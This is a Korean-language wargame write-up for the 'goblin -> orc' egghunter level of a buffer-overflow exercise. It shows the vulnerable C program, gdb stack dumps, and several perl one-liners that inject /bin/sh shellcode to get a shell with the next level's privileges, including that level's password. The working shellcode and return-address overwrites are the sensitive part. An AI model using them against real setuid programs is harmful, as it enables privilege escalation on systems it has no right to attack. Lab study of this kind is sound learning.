LEVEL4 (goblin -> orc) : egghunter
이번 문제는 egghunter이다. 기존에 eggshell을 썼으면 문제를 풀기 힘들겠지만 eggshell을 사용하지 않았기에 상관이 없다.
[goblin@localhost .izayoi]$ cat orc.c
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
} |
중간에 egghunter라는 환경변수를 지워버리는 소스와 함께
argv[1][47]의 값이 \xbf(스택내의 값)이 아니면 종료를 시키는 프로그램이다.
일단은 세그먼테이션 폴트 발생시키고 어디 주소에 버퍼가 쌓이는지 확인해보자
[goblin@localhost .izayoi]$ ./orc `perl -e 'print "\xbf"x48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
[goblin@localhost .izayoi]$ gdb -c core -q
Core was generated by `./orc ¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿'.
Program terminated with signal 11, Segmentation fault.
#0 0xbfbfbfbf in ?? ()
(gdb) x/50x $esp-100
0xbffffa9c: 0x4005d920 0x400143e0 0xbffffabc 0x40066070
0xbffffaac: 0x40106980 0x08048659 0xbffffacc 0x401081ec
0xbffffabc: 0xbffffaf8 0x080485d3 0x08048659 0xbffffad0
0xbffffacc: 0x00000016 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf
0xbffffadc: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf
0xbffffaec: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf
0xbffffafc: 0xbfbfbfbf 0x00000000 0xbffffb44 0xbffffb50
0xbffffb0c: 0x40013868 0x00000002 0x08048450 0x00000000
0xbffffb1c: 0x08048471 0x08048500 0x00000002 0xbffffb44
0xbffffb2c: 0x08048390 0x0804860c 0x4000ae60 0xbffffb3c
0xbffffb3c: 0x40013e90 0x00000002 0xbffffc3d 0xbffffc43
0xbffffb4c: 0x00000000 0xbffffc74 0xbffffc8d 0xbffffca8
0xbffffb5c: 0xbffffcc7 0xbffffce9
(gdb)
0xbffffb64: 0xbffffcf5 0xbffffeb8 0xbffffed7 0xbffffef3
0xbffffb74: 0xbfffff08 0xbfffff26 0xbfffff31 0xbfffff40
0xbffffb84: 0xbfffff48 0xbfffff52 0xbfffff62 0xbfffff70
0xbffffb94: 0xbfffff7e 0xbfffff8f 0xbfffff9a 0xbfffffac
0xbffffba4: 0xbfffffee 0x00000000 0x00000003 0x08048034
0xbffffbb4: 0x00000004 0x00000020 0x00000005 0x00000006
0xbffffbc4: 0x00000006 0x00001000 0x00000007 0x40000000
0xbffffbd4: 0x00000008 0x00000000 0x00000009 0x08048450
0xbffffbe4: 0x0000000b 0x000001f7 0x0000000c 0x000001f7
0xbffffbf4: 0x0000000d 0x000001f7 0x0000000e 0x000001f7
0xbffffc04: 0x00000010 0x0febfbff 0x0000000f 0xbffffc38
0xbffffc14: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc24: 0x00000000 0x00000000
(gdb)
0xbffffc2c: 0x00000000 0x00000000 0x00000000 0x36383669
0xbffffc3c: 0x6f2f2e00 0xbf006372 0xbfbfbfbf 0xbfbfbfbf
0xbffffc4c: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf
0xbffffc5c: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf
0xbffffc6c: 0xbfbfbfbf 0x00bfbfbf 0x00000000 0x00000000
0xbffffc7c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc8c: 0x00000000 0x00000000 0x00000000 0x00000000 |
"\xbf"x48의 결과가 두 군데에서 보인다. 이것을 다시 한번 생각해보면 하나는 buffer에 쌓인 "\xbf"값일테고
또 다른 하나는 argv[1]에 쌓인 "\xbf"값일 것 이라고 생각된다.
위치 확인까지는 끝났다. 이제 공격 구문을 생각해보자
[stack] [sfp] [ret] [argc] [argv] [env]
^"\x90"x20 + shellcode(24byte). ^buffer address ^"\x90"x20 + shellcode(24byte).
두가지의 공격 방법이 있을 것 이다.
buffer의 주소값을 넣는 방법과 argv[1]의 주소값을 넣는 방법.
일단 실험 argv[1]
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x44\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
Í€Düÿ¿
Segmentation fault
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x40\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
Í€@üÿ¿
bash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)
bash$ my-pass
euid = 504
cantata |
???
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x30\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
Í€0üÿ¿
bash$ exit
exit
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x2c\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
Í€,üÿ¿
Segmentation fault |
argv[1]의 값이 0xbffffc30 부터 시작함을 확인할 수 있었다. 음... 묘하군.
다시 한번 생각해봐야겠다.
이번에는 buffer값을 노려보자.
[goblin@localhost .izayoi]$ ./orc `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\xd0\xfa\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
Í€Ðúÿ¿
Segmentation fault (core dumped)
[goblin@localhost .izayoi]$ gdb -c core -q
Core was generated by `./orc 1ÀPh//shh/bin‰ãPS‰á™°
Í€Ðúÿ¿'.
Program terminated with signal 11, Segmentation fault.
#0 0xbffffae5 in ?? ()
(gdb) x/50x $esp-100
0xbffffa7c: 0xbffffaac 0x4000a970 0xbffffc60 0xfffffe90
0xbffffa8c: 0x4005d920 0x400143e0 0xbffffaac 0x40066070
0xbffffa9c: 0x40106980 0x08048659 0xbffffabc 0x401081ec
0xbffffaac: 0xbffffae8 0x080485d3 0x08048659 0xbffffac0
0xbffffabc: 0x00000017 0x90909090 0x90909090 0x90909090
0xbffffacc: 0x90909090 0x90909090 0x6850c031 0x68732f2f
0xbffffadc: 0x69622f68 0x00000000 0x6e69622f 0x68732f2f
0xbffffaec: 0x00000000 0x00000000 0xbffffb34 0xbffffb40
... |
??? 중간에 40개의 버퍼를 다 채우지 않았음에도 불구하고 중간에 0xbffffae0(buffer[31])부분에 0x00000000값이 들어간 것을 확인할 수 있었다. 그렇다면... 구문을 잠깐 바꿔서 생각해보자
shellcode(24byte) + buffer address(현재는 0xbffffac0) * 6 을 하게되면 먹힐까
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\xc0\xfa\xff\xbf"x6'`
1ÀPh//shh/bin‰ãPS‰á™°
Í€Àúÿ¿Àúÿ¿Àúÿ¿Àúÿ¿Àúÿ¿Àúÿ¿
bash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)
bash$ my-pass
euid = 504
cantata |
된다.
과연 뭐가 되긴 됐는데 뭐가 잘못된 것인가. 원인에 대해 생각해봐야겠다.